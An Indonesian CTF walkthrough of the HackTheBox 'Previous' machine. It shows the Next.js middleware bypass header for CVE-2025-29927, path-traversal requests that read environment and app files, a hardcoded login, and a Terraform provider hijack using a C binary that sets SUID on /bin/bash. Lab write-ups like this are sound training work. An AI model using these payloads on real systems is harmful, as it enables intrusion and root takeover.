Halo para pentester dan cybersecurity enthusiast! Kali ini saya akan membahas salah satu machine menarik dari HackTheBox yang bernama Previous – sebuah Linux machine yang menggabungkan eksploitasi Next.js vulnerability dengan teknik privilege escalation menggunakan Terraform.
Tahap Reconnaissance
Port Scanning dengan Nmap
Langkah pertama yang selalu kita lakukan adalah melakukan port scanning untuk mengidentifikasi service yang berjalan pada target.
└─# nmap -sCV 10.10.11.83 -T3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-28 08:48 EDT
Nmap scan report for 10.10.11.83
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.43 seconds
Hasil scan:
- Port 80/tcp: HTTP nginx 1.18.0 dengan redirect ke
http://previous.htb/ - Port 22/tcp: SSH OpenSSH 8.9p1 Ubuntu

Web Enumeration
Setelah menambahkan domain previous.htb ke /etc/hosts, kita melanjutkan enumerasi website menggunakan feroxbuster untuk menemukan direktori dan file tersembunyi.

Dari hasil enumerasi, kita menemukan beberapa endpoint menarik dan juga informasi email melalui contact button pada website.

Technology Stack Detection
Menggunakan Nuclei, kita berhasil mengidentifikasi bahwa website ini menggunakan Next.js. Konfirmasi dilakukan dengan curl:

└─# curl -I http://previous.htb/
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 28 Aug 2025 12:33:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5493
Connection: keep-alive
X-Powered-By: Next.js
ETag: "17m2fyh3hl048k"
Vary: Accept-Encoding


benar saja, disini kita akan coba exploit dengan menggunakan kerentanan https://github.com/alihussainzada/CVE-2025-29927-PoC https://vercel.com/blog/postmortem-on-next-js-middleware-bypass

Eksploitasi CVE-2025-29927
Next.js memiliki kerentanan middleware bypass yang tercatat sebagai CVE-2025-29927. Vulnerability ini memungkinkan attacker untuk bypass middleware protection dengan menggunakan header khusus.
References:

Directory Bruteforcing dengan Bypass Header
Kita melakukan directory bruteforcing pada endpoint /api/ dengan menambahkan header bypass:
└─# gobuster dir -u http://previous.htb/api/ -w /usr/share/wordlists/dirb/common.txt -H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://previous.htb/api/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/cgi-bin/ (Status: 308) [Size: 12] [--> /api/cgi-bin]
/download (Status: 400) [Size: 28]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
Hasil ditemukan:
/api/download (Status: 400)
Parameter Discovery
Endpoint /download memberikan response 400, menandakan ada parameter yang missing. Menggunakan ffuf untuk mencari parameter:
└─# ffuf -u "http://previous.htb/api/download?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H 'X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware' -r -mc 404
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/download?FUZZ=test
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Header : X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 404
________________________________________________
example [Status: 404, Size: 26, Words: 3, Lines: 1, Duration: 45ms]
:: Progress: [6453/6453] :: Job [1/1] :: 341 req/sec :: Duration: [0:00:18] :: Errors: 0 ::
Parameter ditemukan: example

terdapat perbedaan error juga jika kita memasukan parameter lain

Local File Inclusion (LFI) Exploitation
Setelah menemukan parameter example, kita test untuk LFI vulnerability:

Berhasil! LFI vulnerability terkonfirmasi.
Information Gathering via LFI
1. Environment Variables
└─# curl -i 'http://previous.htb/api/download?example=../../../../../../../../../../proc/self/environ' -H 'X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware' | tr '\0' '\n'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 216 100 216 0 0 2518 0 --:--:-- --:--:-- --:--:-- 2541
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 28 Aug 2025 13:21:10 GMT
Content-Type: application/zip
Content-Length: 216
Connection: keep-alive
Content-Disposition: attachment; filename=../../../../../../../../../../proc/self/environ
ETag: "151dqoq1n56jy"
NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production
Informasi didapat:
NODE_VERSION=18.20.8
PORT=3000
HOME=/home/nextjs
NODE_ENV=production
PWD=/app

disini kita dapatkan direktori static dan juga server. Pada dasarnya akan banyak file pada folder disitu pada saat web dibuild dengan menggunakan nextjs https://nextjs.org/docs/13/app/building-your-application/deploying
.next/static/chunks/pages – Each JavaScript file inside this folder relates to the route with the same name. For example, .next/static/chunks/pages/about.js would be the JavaScript file loaded when viewing the /about route in your application
.next/static/media – Statically imported images from next/image are hashed and copied here
.next/static/css – Global CSS files for all pages in your application
.next/server/pages – The HTML and JavaScript entry points prerendered from the server. The .nft.json files are created when Output File Tracing is enabled and contain all the file paths that depend on a given page.
.next/server/chunks – Shared JavaScript chunks used in multiple places throughout your application
.next/cache – Output for the build cache and cached images, responses, and pages from the Next.js server. Using a cache helps decrease build times and improve performance of loading images
2. Next.js Configuration
└─# curl -i 'http://previous.htb/api/download?example=../../../../../../app/server.js' -H 'X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 28 Aug 2025 13:26:55 GMT
Content-Type: application/zip
Content-Length: 6009
Connection: keep-alive
Content-Disposition: attachment; filename=../../../../../../app/server.js
ETag: "48xgv9zfn0go1"
const path = require('path')
const dir = path.join(__dirname)
process.env.NODE_ENV = 'production'
process.chdir(__dirname)
const currentPort = parseInt(process.env.PORT, 10) || 3000
const hostname = process.env.HOSTNAME || '0.0.0.0'
let keepAliveTimeout = parseInt(process.env.KEEP_ALIVE_TIMEOUT, 10)
const nextConfig = {"env":{},"eslint":{"ignoreDuringBuilds":false},"typescript":{"ignoreBuildErrors":false,"tsconfigPath":"tsconfig.json"},"distDir":"./.next","cleanDistDir":true,"assetPrefix":"","cacheMaxMemorySize":52428800,"configOrigin":"next.config.mjs","useFileSystemPublicRoutes":true,"generateEtags":true,"pageExtensions":["js","jsx","md","mdx","ts","tsx"],"poweredByHeader":true,"compress":true,"images":{"deviceSizes":[640,750,828,1080,1200,1920,2048,3840],"imageSizes":[16,32,48,64,96,128,256,384],"path":"/_next/image","loader":"default","loaderFile":"","domains":[],"disableStaticImages":false,"minimumCacheTTL":60,"formats":["image/webp"],"dangerouslyAllowSVG":false,"contentSecurityPolicy":"script-src 'none'; frame-src 'none'; sandbox;","contentDispositionType":"attachment","remotePatterns":[],"unoptimized":false},"devIndicators":{"position":"bottom-left"},"onDemandEntries":{"maxInactiveAge":60000,"pagesBufferLength":5},"amp":{"canonicalBase":""},"basePath":"","sassOptions":{},"trailingSlash":false,"i18n":null,"productionBrowserSourceMaps":false,"excludeDefaultMomentLocales":true,"serverRuntimeConfig":{},"publicRuntimeConfig":{},"reactProductionProfiling":false,"reactStrictMode":null,"reactMaxHeadersLength":6000,"httpAgentOptions":{"keepAlive":true},"logging":{},"expireTime":31536000,"staticPageGenerationTimeout":60,"output":"standalone","modularizeImports":{"@mui/icons-material":{"transform":"@mui/icons-material/{{member}}"},"lodash":{"transform":"lodash/{{member}}"}},"outputFileTracingRoot":"/app","experimental":{"allowedDevOrigins":[],"nodeMiddleware":false,"cacheLife":{"default":{"stale":300,"revalidate":900,"expire":4294967294},"seconds":{"stale":0,"revalidate":1,"expire":60},"minutes":{"stale":300,"revalidate":60,"expire":3600},"hours":{"stale":300,"revalidate":3600,"expire":86400},"days":{"stale":300,"revalidate":86400,"expire":604800},"weeks":{"stale":300,"revalidate":604800,"expire":2592000},"max":{"stale":300,"revalidate":2592000,"expire":4294967294}},"cacheHandlers":{},"cssChunking":true,"multiZoneDraftMode":false,"appNavFailHandling":false,"prerenderEarlyExit":true,"serverMinification":true,"serverSourceMaps":false,"linkNoTouchStart":false,"caseSensitiveRoutes":false,"clientSegmentCache":false,"preloadEntriesOnStart":true,"clientRouterFilter":true,"clientRouterFilterRedirects":false,"fetchCacheKeyPrefix":"","middlewarePrefetch":"flexible","optimisticClientCache":true,"manualClientBasePath":false,"cpus":1,"memoryBasedWorkersCount":false,"imgOptConcurrency":null,"imgOptTimeoutInSeconds":7,"imgOptMaxInputPixels":268402689,"imgOptSequentialRead":null,"isrFlushToDisk":true,"workerThreads":false,"optimizeCss":false,"nextScriptWorkers":false,"scrollRestoration":false,"externalDir":false,"disableOptimizedLoading":false,"gzipSize":true,"craCompat":false,"esmExternals":true,"fullySpecified":false,"swcTraceProfiling":false,"forceSwcTransforms":false,"largePageDataBytes":128000,"turbo":{"root":"/app"},"typedRoutes":false,"typedEnv":false,"parallelServerCompiles":false,"parallelServerBuildTraces":false,"ppr":false,"authInterrupts":false,"webpackMemoryOptimizations":false,"optimizeServerReact":true,"useEarlyImport":false,"viewTransition":false,"staleTimes":{"dynamic":0,"static":300},"serverComponentsHmrCache":true,"staticGenerationMaxConcurrency":8,"staticGenerationMinPagesPerWorker":25,"dynamicIO":false,"inlineCss":false,"useCache":false,"optimizePackageImports":["lucide-react","date-fns","lodash-es","ramda","antd","react-bootstrap","ahooks","@ant-design/icons","@headlessui/react","@headlessui-float/react","@heroicons/react/20/solid","@heroicons/react/24/solid","@heroicons/react/24/outline","@visx/visx","@tremor/react","rxjs","@mui/material","@mui/icons-material","recharts","react-use","effect","@effect/schema","@effect/platform","@effect/platform-node","@effect/platform-browser","@effect/platform-bun","@effect/sql","@effect/sql-mssql","@effect/sql-mysql2","@effect/sql-pg","@effect/sql-squlite-node","@effect/sql-squlite-bun","@effect/sql-squlite-wasm","@effect/sql-squlite-react-native","@effect/rpc","@effect/rpc-http","@effect/typeclass","@effect/experimental","@effect/opentelemetry","@material-ui/core","@material-ui/icons","@tabler/icons-react","mui-core","react-icons/ai","react-icons/bi","react-icons/bs","react-icons/cg","react-icons/ci","react-icons/di","react-icons/fa","react-icons/fa6","react-icons/fc","react-icons/fi","react-icons/gi","react-icons/go","react-icons/gr","react-icons/hi","react-icons/hi2","react-icons/im","react-icons/io","react-icons/io5","react-icons/lia","react-icons/lib","react-icons/lu","react-icons/md","react-icons/pi","react-icons/ri","react-icons/rx","react-icons/si","react-icons/sl","react-icons/tb","react-icons/tfi","react-icons/ti","react-icons/vsc","react-icons/wi"],"trustHostHeader":false,"isExperimentalCompile":false},"htmlLimitedBots":"Mediapartners-Google|Slurp|DuckDuckBot|baiduspider|yandex|sogou|bitlybot|tumblr|vkShare|quora link preview|redditbot|ia_archiver|Bingbot|BingPreview|applebot|facebookexternalhit|facebookcatalog|Twitterbot|LinkedInBot|Slackbot|Discordbot|WhatsApp|SkypeUriPreview","bundlePagesRouterDependencies":false,"configFileName":"next.config.mjs"}
process.env.__NEXT_PRIVATE_STANDALONE_CONFIG = JSON.stringify(nextConfig)
require('next')
const { startServer } = require('next/dist/server/lib/start-server')
if (
Number.isNaN(keepAliveTimeout) ||
!Number.isFinite(keepAliveTimeout) ||
keepAliveTimeout < 0
) {
keepAliveTimeout = undefined
}
startServer({
dir,
isDev: false,
config: nextConfig,
hostname,
port: currentPort,
allowRetry: false,
keepAliveTimeout,
}).catch((err) => {
console.error(err);
process.exit(1);
});
bisa kita lihat pada konfigurasi ini. Path di import dan di set NODE_ENV= Production dan merubah work direktorinya ada di /app. Port default sama seperti sebelumnya yaitu 3000 dan hostname default 0.0.0.0. Next kita akan lihat file reoutes-manifest.json yang dimana file ini secara default akan ada ketika build nextjs.
3. Routes Manifest
└─# curl -i 'http://previous.htb/api/download?example=../../../../../../app/.next/routes-manifest.json' -H 'X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 28 Aug 2025 13:47:02 GMT
Content-Type: application/zip
Content-Length: 2548
Connection: keep-alive
Content-Disposition: attachment; filename=../../../../../../app/.next/routes-manifest.json
ETag: "9g13nceds96qd"
{
"version": 3,
"pages404": true,
"caseSensitive": false,
"basePath": "",
"redirects": [
{
"source": "/:path+/",
"destination": "/:path+",
"internal": true,
"statusCode": 308,
"regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
}
],
"headers": [],
"dynamicRoutes": [
{
"page": "/api/auth/[...nextauth]",
"regex": "^/api/auth/(.+?)(?:/)?$",
"routeKeys": {
"nxtPnextauth": "nxtPnextauth"
},
"namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
},
{
"page": "/docs/[section]",
"regex": "^/docs/([^/]+?)(?:/)?$",
"routeKeys": {
"nxtPsection": "nxtPsection"
},
"namedRegex": "^/docs/(?<nxtPsection>[^/]+?)(?:/)?$"
}
],
"staticRoutes": [
{
"page": "/",
"regex": "^/(?:/)?$",
"routeKeys": {},
"namedRegex": "^/(?:/)?$"
},
{
"page": "/docs",
"regex": "^/docs(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs(?:/)?$"
},
{
"page": "/docs/components/layout",
"regex": "^/docs/components/layout(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/components/layout(?:/)?$"
},
{
"page": "/docs/components/sidebar",
"regex": "^/docs/components/sidebar(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/components/sidebar(?:/)?$"
},
{
"page": "/docs/content/examples",
"regex": "^/docs/content/examples(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/content/examples(?:/)?$"
},
{
"page": "/docs/content/getting-started",
"regex": "^/docs/content/getting\\-started(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/content/getting\\-started(?:/)?$"
},
{
"page": "/signin",
"regex": "^/signin(?:/)?$",
"routeKeys": {},
"namedRegex": "^/signin(?:/)?$"
}
],
"dataRoutes": [],
"rsc": {
"header": "RSC",
"varyHeader": "RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch",
"prefetchHeader": "Next-Router-Prefetch",
"didPostponeHeader": "x-nextjs-postponed",
"contentTypeHeader": "text/x-component",
"suffix": ".rsc",
"prefetchSuffix": ".prefetch.rsc",
"prefetchSegmentHeader": "Next-Router-Segment-Prefetch",
"prefetchSegmentSuffix": ".segment.rsc",
"prefetchSegmentDirSuffix": ".segments"
},
"rewriteHeaders": {
"pathHeader": "x-nextjs-rewritten-path",
"queryHeader": "x-nextjs-rewritten-query"
},
"rewrites": []
}
Routes ditemukan:
/api/auth/[...nextauth]– NextAuth.js endpoint/docs/[section]– Documentation pages/signin– Sign-in page
Credential Extraction
File paling kritis yang berhasil kita ekstrak adalah NextAuth configuration:
└─# curl -i 'http://previous.htb/api/download?example=../../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js' -H 'X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 28 Aug 2025 13:52:43 GMT
Content-Type: application/zip
Content-Length: 1537
Connection: keep-alive
Content-Disposition: attachment; filename=../../../../../../app/.next/server/pages/api/auth/[...nextauth].js
ETag: "ihx6eiwskd47b"
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremy.......")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();
Dari file JavaScript yang ter-minified ini, kita berhasil mengextract:
- Password:
MyNameIsJeremy........... - Username:
jeremy
Initial Access
SSH Login
Menggunakan kredensial yang ditemukan:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Aug 28 01:54:24 PM UTC 2025
System load: 0.19 Processes: 220
Usage of /: 83.6% of 8.76GB Users logged in: 1
Memory usage: 11% IPv4 address for eth0: 10.10.11.83
Swap usage: 2%
Expanded Security Maintenance for Applications is not enabled.
1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
-bash-5.1$
disini kita berhasil login ke jeremy, tapi sebelum itu kita akan perbaiki terminalnya
export PS1='\[\e[32m\]\u@\h\[\e[m\]:\[\e[34m\]\w\[\e[m\]\$ '

Berhasil login! Kita mendapatkan user flag:
jeremy@previous:~$ cat user.txt
217be877026ab7917892134d1e9011ed
Privilege Escalation
Sudo Privileges Analysis
jeremy@previous:~$ sudo -l
[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
User jeremy dapat menjalankan Terraform sebagai root dengan working directory /opt/examples.
Terraform Configuration Analysis
Menganalisis file konfigurasi Terraform:
jeremy@previous:/opt/examples$ ls
main.tf terraform.tfstate
jeremy@previous:/opt/examples$ cat terraform.tfstate
{
"version": 4,
"terraform_version": "1.11.4",
"serial": 8,
"lineage": "44b13e76-4b23-5fd1-8bf6-b5625394edda",
"outputs": {
"destination_path": {
"value": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
"type": "string"
}
},
"resources": [
{
"mode": "managed",
"type": "examples_example",
"name": "example",
"provider": "provider[\"previous.htb/terraform/examples\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"destination_path": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
"id": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
"source_path": "/root/examples/hello-world.ts"
},
"sensitive_attributes": []
}
]
}
],
"check_results": [
{
"object_kind": "var",
"config_addr": "var.source_path",
"status": "pass",
"objects": [
{
"object_addr": "var.source_path",
"status": "pass"
}
]
}
]
}
disini bisa kita baca pada main.tf
jeremy@previous:/opt/examples$ cat main.tf
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}
kita mendapatkan
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
sepertinya terraform akan fetch ke binary ( terraform-provider-examples ) yang berarti bahwa source previous.htb/terraform/examples > binarynya adalah terraform-provider-examples.
Ketika kita lihat pada terraform-tfstate kita menemukan provider[\”previous.htb/terraform/examples\ ini mengkonfirmasi pernyataan kita diatas.
Untuk penamaan terraform sendiri bisa menggunakan (terraform-provider-<name>)
jeremy@previous:/opt/examples$ ls -la
total 28
drwxr-xr-x 3 root root 4096 Aug 31 02:28 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root 18 Apr 12 20:32 .gitignore
-rw-r--r-- 1 root root 576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root 247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Aug 31 02:28 terraform.tfstate
jeremy@previous:/opt/examples$ ls -la /opt
total 20
drwxr-xr-x 5 root root 4096 Aug 21 20:09 .
drwxr-xr-x 18 root root 4096 Aug 21 20:23 ..
drwx--x--x 4 root root 4096 Aug 21 20:09 containerd
drwxr-xr-x 3 root root 4096 Aug 31 02:29 examples
drwxr-xr-x 3 root root 4096 Aug 21 20:09 terraform-provider-examples
kita disini menggunakan name terraform-provider-examples. File .terraformrc sendiri sudah ready di home direktori kita, langsung saja bisa kita override
jeremy@previous:~$ ls -la
total 44
drwxr-x--- 6 jeremy jeremy 4096 Aug 30 22:24 .
drwxr-xr-x 3 root root 4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root root 9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy 220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Aug 21 20:09 docker
drwxrwxr-x 3 jeremy jeremy 4096 Aug 30 22:12 .local
-rw-r--r-- 1 jeremy jeremy 807 Aug 21 17:28 .profile
drwxr-xr-x 2 root root 4096 Aug 30 22:07 .terraform.d
-rw-rw-r-- 1 jeremy jeremy 150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root jeremy 33 Aug 30 20:12 user.txt
Terraform Provider Hijacking
Berdasarkan konfigurasi .terraformrc di home directory jeremy, kita dapat melakukan provider hijacking dengan membuat malicious binary.
1. Membuat Exploit Binary
jeremy@previous:~$ cat exploit.c
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("chmod +s /bin/bash");
return 0;
}
2. Compile dan Setup
jeremy@previous:~$ gcc exploit.c -o terraform-provider-examples
jeremy@previous:~$ chmod +x terraform-provider-examples
3. Execution
jeremy@previous:~$ sudo /usr/bin/terraform -chdir=/opt/examples apply
[sudo] password for jeremy:
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /usr/local/go/bin
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become
│ incompatible with published releases.
╵
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
No changes. Your infrastructure matches the configuration.
Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed.
Apply complete! Resources: 0 added, 0 changed, 0 destroyed.
Outputs:
destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"
Terraform akan mengeksekusi binary malicious kita sebagai root, memberikan SUID bit -rwsr-xr-x pada /bin/bash.
Root Access
jeremy@previous:~$ /bin/bash -p
jeremy@previous:~# whoami
root
jeremy@previous:~# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) egid=0(root) groups=0(root),1000(jeremy)
jeremy@previous:~# cd /root
jeremy@previous:/root# ls
clean examples go root.txt
jeremy@previous:/root# cat root.txt
e96929d7098e1f198fae8bd57e746fb0
Tags: #HackTheBox #NextJS #CVE-2025-29927 #LFI #Terraform #PrivilegeEscalation #WebSecurity